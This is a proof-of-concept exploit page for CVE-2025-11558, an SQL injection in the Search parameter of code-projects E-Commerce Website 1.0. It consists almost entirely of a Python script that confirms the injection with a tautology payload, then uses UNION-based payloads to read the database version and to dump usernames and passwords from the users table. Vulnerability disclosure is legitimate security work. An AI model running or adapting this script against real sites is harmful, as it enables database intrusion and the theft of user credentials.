CVE-2025-11558：code-projects E-Commerce Website SQL注入漏洞

# CVE-2025-11558 - SQL Injection PoC # Target: code-projects E-Commerce Website 1.0 # Vulnerable file: /pages/user_index_search.php # Vulnerable parameter: Search import requests TARGET_URL = "http://target.com/pages/user_index_search.php" # Basic SQL Injection payload to test for vulnerability payload = "' OR '1'='1" def test_sql_injection(): """Test for SQL injection vulnerability in Search parameter""" params = { "Search": payload } try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200: # Check if injection was successful (e.g., returns all records) if "error" not in response.text.lower() or len(response.text) > 1000: print("[+] SQL Injection vulnerability confirmed!") print(f"[+] Response length: {len(response.text)}") return True return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_database_info(): """Extract database version information using UNION-based injection""" # UNION-based payload to extract database version union_payload = "' UNION SELECT 1,version(),3,4,5-- -" params = {"Search": union_payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200: print("[+] Database info extraction response received") # Parse response to extract version info return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def extract_credentials(): """Extract user credentials using UNION-based injection""" # Payload to extract usernames and passwords # Adjust column numbers based on actual table structure creds_payload = "' UNION SELECT 1,username,password,4,5 FROM users-- -" params = {"Search": creds_payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200: print("[+] Credentials extraction response received") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-11558 SQL Injection PoC") print("Target: code-projects E-Commerce Website 1.0") print("=" * 60) if test_sql_injection(): print("\n[*] Attempting to extract database information...") db_info = extract_database_info() print("\n[*] Attempting to extract user credentials...") creds = extract_credentials() else: print("[-] Target may not be vulnerable or is not accessible")